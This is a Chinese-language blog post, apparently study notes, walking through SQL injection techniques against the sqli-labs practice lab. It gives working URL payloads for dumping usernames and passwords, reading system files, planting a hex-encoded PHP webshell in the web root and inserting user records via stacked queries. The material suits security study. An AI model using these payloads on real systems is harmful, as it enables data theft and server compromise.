首页 > 数据库 >sql注入

sql注入

时间:2023-03-14 15:12:41浏览次数:27  
标签:0x7e --+ sql table schema id select 注入

sql注入

目录

问题

1、SQL注入原理

在数据交互中,前端的数据传入到后台进行处理时,没有做严格的判断,过滤。导致传入的“数据”拼接到SQL语句中,被当作SQL语句的一部分执行,导致信息泄露。

2、如何判断注入点

可以对输入数据的地方输入一些特殊字符,看服务器是否会去执行。要是没有返回信息,可能是盲注。

联合注入

例子:(sql_lab第1关为例)

(1)找闭合

?id=1' and 1=1--+

(2)确定列数

?id=1' order by 1--+

(3)查看是否回显

?id=-1' union select 1,2,3--+

(4)查数据库名、表名

?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+

(5)查列名

?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+

(6)查询数据

?id=-1' union select 1,group_concat(username),group_concat(password) from security.users--+

(7)读文件

?id=-1' union select 1,2,load_file('C:/Windows/win.ini')--+

(8)写文件

?id=-1' union select 1,2,'' into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+

?id=-1' union select 1,2,load_file("C:/yyy.php") into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+

报错注入(有错误报出)

例子:(sql_lab第5关为例)

(1)找闭合

?id=1' and 1=1--+

(2)确定列数

?id=1' order by 1--+

(3)查看是否回显

?id=-1' union select 1,2,3--+

(4)查数据库名

?id=1' or extractvalue(1,concat(0x7e,(select database()),0x7e))--+

?id=1' or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

(5)查表名

?id=1' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+

?id=1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

(6)查列名

?id=1' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e))--+

?id=1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e),1)--+

(7)查数据

?id=1' or extractvalue(1,concat(0x7e,substr((select group_concat(username,"^",password) from security.users),1,30),0x7e))--+

?id=1' or updatexml(1,concat(0x7e,substr((select group_concat(username,"^",password) from security.users),1,30),0x7e),1)--+

(8)读文件

?id=1' or extractvalue(1,concat(0x7e,substr((select load_file("C:/Windows/win.ini")),1,30),0x7e))--+

?id=1' or updatexml(1,concat(0x7e,substr((select load_file("C:/Windows/win.ini")),1,30),0x7e),1)--+

?id=-1' union select 1,2,load_file('C:/Windows/win.ini')--+

(9)写文件

?id=-1' union select 1,2,'' into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+

?id=-1' union select 1,2,load_file("C:/yyy.php") into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+

布尔盲注(不管输入什么,界面只会出现两种结果)

例子:(sql_lab第8关为例)

(1)找闭合

?id=1' and 1=1--+

(2)确定列数

?id=-1' order by 1--+

(3)查看是否回显(可以用来写文件)

?id=-1' union select 1,2,3--+

(4)猜数据库长度

?id=1' and length(database())=8--+

(5)猜数据库名

?id=1' and substr(database(),1,1)='s'--+

?id=1' and ascii(substr(database(),1,1))=115--+

(6)猜出数据库后猜数据库中表的数量

?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+

(7)猜表名长度

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+

依次类推一直猜......

(8)读文件(布尔盲注读不出来)

?id=-1' union select 1,2,file_load("C:/Windows/win.ini")--+

(9)写文件

?id=-1' union select 1,2,"" into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+

时间盲注(不管输入什么,界面都是一样的)

例子:(sql_lab第9关为例)

(1)找闭合

?id=1' and if(1=1,sleep(3),0)--+

(2)猜数据长度

?id=1' and if(length(database())=8,sleep(3),0)--+

(3)猜数据库名

?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),0)--+

(4)猜数据库中表数量

?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=6,sleep(3),0)--+

(5)猜表名长度

?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(3),0)--+

依次类推一直猜......

(6)读文件(可以用来探测是否存在这个文件)

?id=1' and if(length(load_file("C:/test.php"))>1,sleep(3),0)--+

(7)写文件

?id=1' into outfile "E:/Security/phpstudy_pro/WWW/yyy.php" lines terminated by ""--+

?id=1' into outfile "E:/Security/phpstudy_pro/WWW/yyy.php" lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C657373395D293B3F3E--+

堆叠注入(利用mysqli_multi_query()函数)

例子:(sql_lab第38关为例)

(1)可写入数据到数据库

?id=1' union select 1,2,3;insert into users(username,password) value("yyy","yyy");

3、sqlmap学习

标签:0x7e,--+,sql,table,schema,id,select,注入
From: https://www.cnblogs.com/candada/p/17214977.html

相关文章

  • mysql 有守护进程导致无法kill停止
    现象:停止mysqld服务时,发现kill进程后,过一段时间服务会自动重启。查看发现是守护进程导致可以试下以下办法方式一:使用service停止:servicemysqldstop方式二:......
  • MySQL 的事务隔离级别和锁
    MySQL的事务隔离级别(IsolationLevel)  数据库锁,分为悲观锁和乐观锁,“悲观锁”悲观锁一般利用SELECT…FORUPDATE类似的语句乐观锁利用CAS机制,并不会对数据......
  • 力扣178(MySQL)-分数排名(中等)
    题目:表: Scores编写SQL查询对分数进行排序。排名按以下规则计算:分数应按从高到低排列。如果两个分数相等,那么两个分数的排名应该相同。在排名相同的分数后,排名数应......
  • mybatis源码-注解sql
    Mybatis-注解sqlDemo主启动类publicclassMybatisHelloWorld{publicstaticvoidmain(String[]args)throwsException{Stringresource="org/myb......
  • 在Abp中使用依赖注入
    依赖注入是一种设计模式,这里主要讨论如何在Abp中使用依赖注入。注册依赖项在Abp中我们有很多种方法来注册依赖项,大多数情况下通过约定来注册依赖项就足够了。这也是......
  • 常见SQL避坑方案
    1.对查询进行优化,应尽量避免全表扫描,首先应考虑在 where 及 orderby 涉及的列上建立索引。2.应尽量避免在 where 子句中使用 !=或 <> 操作符,否则将引擎放弃使......
  • SQL自动化???
    !!大家好,我是乔克,一个爱折腾的运维工程,一个睡觉都被自己丑醒的云原生爱好者。作者:乔克公众号:运维开发故事博客:www.jokerbai.com数据库在每个企业都占据的非常重要的位置,它......
  • 在sqli-labs靶场-页面显示输入的sql语句
    在sqli-labs靶场-页面显示输入的sql语句在自己练习的sqli-labs靶场某关卡的目录下,找到index.php文件中找到//$sql="SELECT*FROMusersWHEREid=$idLIMIT0,1";在这条代......
  • docker安装mysql8
    拉取镜像dockerpullmysql:8.0.26 创建文件夹 mkdir-p/var/mysql/{data,conf}  配置cd/var/mysql/confvimmy.cnf  输入以下内容 ......
  • ef执行原生sql语句_EF Core中执行原生SQL语句
    一、课程介绍之所以今天录制这个系列文章的主要原因是,想在快速帮助到大家上手在ASP.NETCoreWebAPI中结合EFCore来操作我们的数据库。EFCore的基础文章和基础课程实在是......